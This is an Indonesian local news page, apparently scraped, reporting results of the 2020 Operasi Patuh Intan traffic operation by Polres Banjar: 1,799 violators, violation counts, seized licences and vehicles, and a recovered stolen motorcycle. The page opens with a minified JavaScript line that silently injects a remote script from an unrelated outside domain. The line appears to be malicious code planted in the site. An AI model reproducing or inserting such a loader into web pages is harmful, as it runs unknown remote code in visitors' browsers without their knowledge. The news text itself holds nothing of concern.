(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Sebanyak 1.799 Pelanggar Terjaring Operasi Patuh Intan Polres Banjar


KANALKALIMANTAN.COM, MARTAPURA-Sejak digelar operasi Patuh Intan 2020 pada tanggal 23 Juli hingga 4 Agustus 2020 lalu, sebanyak 1.799 pelanggar telah terjaring. Banyaknya jumlah mengindikasikan masih enggannya masyarakat mematuhi aturan lalu lintas.

Kasat Lantas Polres Banjar AKP Faizal Rahman mengatakan, pelanggaran tersebut merupakan hasil dari operasi yang digelar jajarn Polsek hingga Polres dengan sistem stationer.

Pelanggaran lalulintas yang terjaring kebanyakan berasal dari kawasan depan Masjid Agung Al Karomah Martapura dan dekat Pos Polisi Gambut. “Hampir semua bermasalah dengan kelengkapan surat. Baik tidak punya SIM atau pun pajak kendaraan mati,” ungkapnya.

Selain itu, pelanggaran juga diwarnai kasus pengendara yang menggunakan HP sebanyak 86 orang, melawan arus 126 orang, dan tidak menggunakan helm saat pengemudi 206 orang, serta helm penumpang 202 orang.

“Begitu juga yang tidak memakai lampu utama pada malam hari ada 13 orang, serta melanggar rambu lalu lintas 39 orang,” jelasnya.

Selain melakukan penertiban kepatuhan lalulintas, Sat Lantas Polres Banjar juga melakukan teguran secara lisan kepada pengendara yang tidak menggunakan masker. Ada sebanyak 1.141 teguran terkait dengan ketetapan pemerintah yang harus mematuhi protokol kesehatan Covid-19.

Sementara itu, Aipda Wendy, selaku Baur tilang Polres Banjar menyampaikan hasil Operasi Patuh Intan 2020 pihaknya melakukan penahanan SIM sebanyak 1.072 buah dan STNK sebanyak 672 buah. Sedangkan kendaraan bermotor roda dua yang ditahan sebanyak 54 unit dan roda empat sebanyak 1 unit.

Selain melakukan sanksi tilang dan kendaran bermotor, Sat Lantas Polres Banjar juga melakukan pengecekan kelengakapan surat menyurat untuk barang bukti tilang guna menjaring motor yang tidak memiliki surat lengkap atau hasil curian. Walhasil, dari operasi ini kendaraan yang sebelumnya hilang sejak 5 tahun lalu akhirnya ditemukan.

“Terkait banyaknya barang bukti yang sudah lama belum diambil pemilik dari hasil tilang, akan dilakukan pengecekan motor dari laporan-laporan masyarakat yang kehilangan motor atau dicuri ” tegasnya AKP Faizal. (Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

8 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

8 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

10 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

11 jam ago

This website uses cookies.